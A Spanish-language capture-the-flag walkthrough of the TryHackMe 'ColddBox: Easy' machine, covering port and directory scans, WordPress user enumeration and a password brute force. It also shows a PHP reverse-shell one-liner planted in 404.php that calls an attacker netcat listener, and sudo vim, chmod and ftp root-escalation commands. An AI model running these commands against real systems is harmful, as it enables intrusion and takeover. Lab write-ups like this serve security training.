ColddBox: Easy es una maquina de TryHackMe, realizamos un ataque de contraseñas en WordPress con usuariois encontrados en WPScan, lo que nos dio acceso a la maquina. Realizamos movimiento lateral con credenciales encontradas en archivo de configuracion de WordPress. Para escalar privilegios encontramos multiples opciones.
Room
Titulo |
ColddBox: Easy  |
Descripción |
An easy level machine with multiple ways to escalate privileges. |
Puntos |
60 |
Dificultad |
Facil |
Maker |
C0ldd  |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto http (80) y el puerto 4512 abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
# Nmap 7.80 scan initiated Mon Jan 11 02:28:35 2021 as: nmap -p- --min-rate 1000 -o allports cold.thm
Warning: 10.10.77.71 giving up on port because retransmission cap hit (10).
Nmap scan report for cold.thm (10.10.77.71)
Host is up (0.34s latency).
Not shown: 65026 closed ports, 507 filtered ports
PORT STATE SERVICE
80/tcp open http
4512/tcp open unknown
# Nmap done at Mon Jan 11 02:31:05 2021 -- 1 IP address (1 host up) scanned in 149.46 seconds
# Nmap 7.80 scan initiated Mon Jan 11 02:42:32 2021 as: nmap -sV -sC -p80,4512 -o servicePorts cold.thm
Nmap scan report for cold.thm (10.10.77.71)
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
4512/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
| 256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
|_ 256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 11 02:42:50 2021 -- 1 IP address (1 host up) scanned in 18.69 seconds
|
El puerto 4512 esta corriendo el servicio SSH lo comprobamos utilizando netcat.
1
2
3
4
|
kali@kali:~/thm/colddbox$ nc cold.thm 4512
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10
^C
kali@kali:~/thm/colddbox$
|
HTTP
Encontramos una pagina en el puerto 80 que a simple vista podemos ver que es WordPress, ejecutamos wpscan, logramos obtener algunos nombres de usuarios y la version de WordPress:4.1.31 .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[... snip ...]
[i] User(s) Identified:
[+] the cold in person
| Found By: Rss Generator (Passive Detection)
[+] c0ldd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] hugo
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] philip
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[... snip ...]
|
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
kali@kali:~/thm/colddbox$ gobuster dir -u http://cold.thm/ -w /usr/share/wordlists/dirb/big.txt -q -t 35 -x php,html,txt
/hidden (Status: 301)
/index.php (Status: 301)
/license.txt (Status: 200)
/readme.html (Status: 200)
/server-status (Status: 403)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/wp-config.php (Status: 200)
/wp-includes (Status: 301)
/wp-login.php (Status: 200)
/wp-trackback.php (Status: 200)
/xmlrpc.php (Status: 200)
|
WWW-DATA - USER
En el resultado de GOBUSTER vemos una pagina que contiene un mensaje donde indica que C0ldd cambio la contraseña de hugo y que no puede editar articulos en la pagina. Realizamos una busqueda de directorios y paginas en esta ultima direccion pero no obtuvimos resultados, por lo que realizamos un ataque de fuerza bruta con hydra al panel de wordpress con los usuarios encontrados.

Logramos obtener una contraseña de uno de los usuarios, mismo usuario que tiene permisos de administrador, editamos el archivo 404.php
para ejecutar una shell inversa.

1
|
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1338 >/tmp/f');
|
“Ejecutamos” nuestra shell generando un “error” en la pagina, en mi caso cambiando el numero de Post a 2 en la URL para generar un error, logrando obtener una shell con el usuario www-data
.

C0LDD - USER
Dentro de la maquina realizamos una enumeracion y logramos encontrar usuario y contraseña de la base de datos de WordPress, dicho usuario está registrado en la maquina por lo que intentamos utilizar esta contraseña y logramos obtener una shell con este usuario y nuestra flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', '[REDACTED]');
/** MySQL database username */
define('DB_USER', '[REDACTED]');
/** MySQL database password */
define('DB_PASSWORD', '[REDACTED]');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
|

PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos root (sudo) para ejecutar el comando vim, chmod, ftp
. Utilizamos GTFOBins para obtener una shell root. Es posible obtener una shell con los 3 comandos disponibles.
1
2
3
4
5
6
7
8
9
|
#VIM
sudo vim -c ':!/bin/sh'
#CHMOD
sudo chmod u+s /bin/bash
#FTP
sudo ftp
!/bin/sh
|
